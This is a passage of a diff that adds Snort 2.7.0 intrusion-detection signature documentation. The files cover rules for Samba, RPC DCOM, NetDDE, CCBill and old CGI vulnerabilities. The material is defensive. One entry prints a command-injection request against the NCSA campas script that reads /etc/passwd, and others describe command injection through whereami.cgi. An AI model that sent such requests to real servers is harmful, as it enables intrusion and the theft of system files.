+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/432.txt
+++ snort-2.7.0/doc/signatures/432.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+432
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 Code 3 Decryption Failed datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 3 datagrams are an indication that a received datagram failed a decryption check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 3 datagrams are generated when a received datagram fails the decryption check for a given SPI (Security Parameters Index). 
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3033.txt
+++ snort-2.7.0/doc/signatures/3033.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3033
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/894.txt
+++ snort-2.7.0/doc/signatures/894.txt
@@ -0,0 +1,52 @@
+Rule:
+--
+Sid:
+894
+
+--
+Summary:
+This event is generated when an attempt is made to display historical 
+information from a Big Brother system monitor host.
+
+--
+Impact:
+Information Disclosure.
+
+--
+Detailed Information:
+Big Brother is a monitoring system used by many organisations.  It records both current and historical information about monitored hosts on a network.  Access to the system status is via a series of web pages and CGI scripts.  Version 1.09b & 1.09c contained a bug in bb-hist.sh that could be made to display files accessible by the user under which the CGI script is run.
+
+--
+Attack Scenarios:
+A malicious user could use this vulnerability to gain more information about the Big Brother host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives: 
+None known
+
+--
+Corrective Action:
+Upgrade to a later version of Big Brother at least 1.09d
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References: 
+url,http://bb4.com/
+cve,CAN-1999-1462
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2381.txt
+++ snort-2.7.0/doc/signatures/2381.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+2381
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint Firewall-1
+
+--
+Impact:
+Serious. Unauthorized administrative access to the firewall
+
+--
+Detailed Information:
+A vulnerability exists in Checkpoint Firewall-1 that may allow a remote
+attacker to gain control of the firewall. The issues lies in the
+handling of HTTP requests by the Security Server and Application
+Intelligence modules of the Firewall's administration console.
+
+By supplying a malformed scheme in a URI an attacker may present the
+attacker with the opportunity to send data of their choosing to the
+sprintf() system call.
+
+--
+Affected Systems:
+	Checkpoint Firewall-1
+	
+--
+Attack Scenarios:
+An attacker must supply specially crafted packets containing malformed
+URI schema with the data they wish to send to the sprintf() function.
+This may then present the attacker with administrative privileges on the
+server.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Disallow external access to the Firewall-1 administrative interface.
+
+Disable the Web interface to the firewall if possible
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1472.txt
+++ snort-2.7.0/doc/signatures/1472.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1472
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1503.txt
+++ snort-2.7.0/doc/signatures/1503.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1503
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2396.txt
+++ snort-2.7.0/doc/signatures/2396.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+2396
+
+--
+Summary:
+This event is generated when an attacker attempts to execute an arbitrary command on a web server running the CCBill software. 
+
+--
+Impact:
+Execution of arbitrary commands.
+
+--
+Detailed Information:
+The CCBill software is available to manage credit card information for UNIX and Windows hosts.  The script whereami.cgi is used for technical support of the software.  A vulnerability exists in the whereami.cgi script that allows the execution of arbitrary commands from an attacker who passes a command via whereami.cgi?g=command format in a URL.  Supplied commands can list file names, show the contents of the password file, or install a backdoor to name a few actions that an attacker may attempt.
+
+--
+Affected Systems:
+Hosts running CCBill software that has the whereami.cgi in the server's CGI path.
+
+--
+Attack Scenarios:
+An attacker can send a request to execute an arbitrary command.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the whereami.cgi command.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/8095
+
+--
--- snort-2.7.0.orig/doc/signatures/1032.txt
+++ snort-2.7.0/doc/signatures/1032.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1032
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2962.txt
+++ snort-2.7.0/doc/signatures/2962.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2962
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/110-2.txt
+++ snort-2.7.0/doc/signatures/110-2.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+110-2
+
+--
+Summary:
+This event is generated when the pre-processor spp_unidecode detects
+network traffic that may constitute an attack. Specifically a directory
+traversal was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_unidecode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3290.txt
+++ snort-2.7.0/doc/signatures/3290.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3290
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3142.txt
+++ snort-2.7.0/doc/signatures/3142.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3142
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000425.txt
+++ snort-2.7.0/doc/signatures/100000425.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000425
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotWidget CMS" application running on a webserver. Access to the file "printfriendly.php" using a remote file being passed as the "file_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "file_path" parameter in the "printfriendly.php" script used by the "DotWidget CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotWidget CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000470.txt
+++ snort-2.7.0/doc/signatures/100000470.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000470
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Foing" application running on a webserver. Access 
+to the file "manage_songs.php" using a remote file being passed as the 
+"foing_root_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "foing_root_path" parameter in the "manage_songs.php" 
+script used by the "Foing" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Foing
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2639.txt
+++ snort-2.7.0/doc/signatures/2639.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2639
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000484.txt
+++ snort-2.7.0/doc/signatures/100000484.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000484
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Confixx" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "lpath" parameter in the "ftp_index.php" script 
+used by the "Confixx" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Confixx
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3374.txt
+++ snort-2.7.0/doc/signatures/3374.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3374
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1662.txt
+++ snort-2.7.0/doc/signatures/1662.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+1662
+--
+Summary:
+This event is generated when an attempt is made to access the home directory of the ftp user via http.
+
+--
+Impact:
+Medium - Possible unauthorized file access due a configuration error
+
+--
+Detailed Information:
+The FTP server might block access on ftp homedir to (anonymous) users, 
+but the folder can be read using the webserver.
+
+Apache UserDir module allows sharing home directory (sub-)folders, a 
+misconfiguration of the webserver or ftp user account may allow 
+unauthorized access to the ftp user directory.
+
+--
+Attack Scenarios:
+A FTP server blocks access to the ftp users homedir. A misconfiguration might allow an attacker to access the ftp users home directory.
+
+This home folder might contain critical files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Visit http://httpd.apache.org/docs for UserDir configuration options or 
+remove UserDir module if not needed.
+
+Configure the ftp user to use a non-interactive nologin shell that does 
+not require a home directory.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1652.txt
+++ snort-2.7.0/doc/signatures/1652.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1652
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in version 1.2 of NCSA web server.
+
+--
+Impact:
+File retrieval leading to compromise of confidential information, 
+potential root exploit.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to manipulate a cgi
+script to retrieve files outside the web root of version 1.2 of the NCSA
+web server.
+
+The vulnerability exists in the cgi script "campas"
+
+--
+Affected Systems:
+	web servers running a very old (1995) version of NCSA web 
+	server may have this cgi script installed.
+
+--
+Attack Scenarios:
+The attacker can make an HTTP GET request to the script and include
+variables to retrieve a sensitive system file in the following manner:
+
+GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
+
+--
+Ease of Attack:
+Simple. No exploit software required
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2397.txt
+++ snort-2.7.0/doc/signatures/2397.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+2397
+
+--
+Summary:
+This event is generated when an attacker includes "/whereami.cgi" in a URL, typically aimed at a web server running the CCBill software. 
+
+--
+Impact:
+Execution of arbitrary commands.
+
+--
+Detailed Information:
+The CCBill software is available to manage credit card information for UNIX and Windows hosts.  The script whereami.cgi is used for technical support of the software.  A vulnerability exists in the whereami.cgi script that allows the execution of arbitrary commands from an attacker who passes a command via whereami.cgi?g=command format in a URL.  Supplied commands can list file names, show the contents of the password file, or install a backdoor to name a few actions that an attacker may attempt.
+
+--
+Affected Systems:
+Hosts running CCBill software that has the whereami.cgi in the server's CGI path.
+
+--
+Attack Scenarios:
+An attacker can send a request to execute an arbitrary command.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the whereami.cgi command.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/8095
+
+--
--- snort-2.7.0.orig/doc/signatures/2198.txt
+++ snort-2.7.0/doc/signatures/2198.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2198
+
+--
+Summary:
+This event is generated when an attempt is made to access cvslog.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Mozilla Bonsai 1.3.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+Mozilla Bonsai, a CVS query tool, contains an information disclosure vulnerability in cvslog.cgi. An attacker can discover the location of the Mozilla Bonsai application by sending a malformed request to the application, which produces an error. The error message shows the full path of the cvslog.cgi file, providing the attacker with information about the server directory structure.
+
+--
+Affected Systems:
+Any system running Mozilla Bonsai 1.3.
+
+--
+Attack Scenarios:
+An attacker sends an erroneous request to cvslog.cgi on the Bonsai server. The error message returns the full path of the script, allowing the attacker to discover more information about the server directory structure for possible use in later attacks.
+
+--
+Ease of Attack:
+Simple. Proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses cvslog.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer build of Mozilla Bonsai 1.3.
+
+If you are running Mozilla Bonsai on Debian 3.0, Debian has provided patches at http://security.debian.org/pool/updates/main/b/bonsai/.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/5517
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000568.txt
+++ snort-2.7.0/doc/signatures/100000568.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000568
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Qdig" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
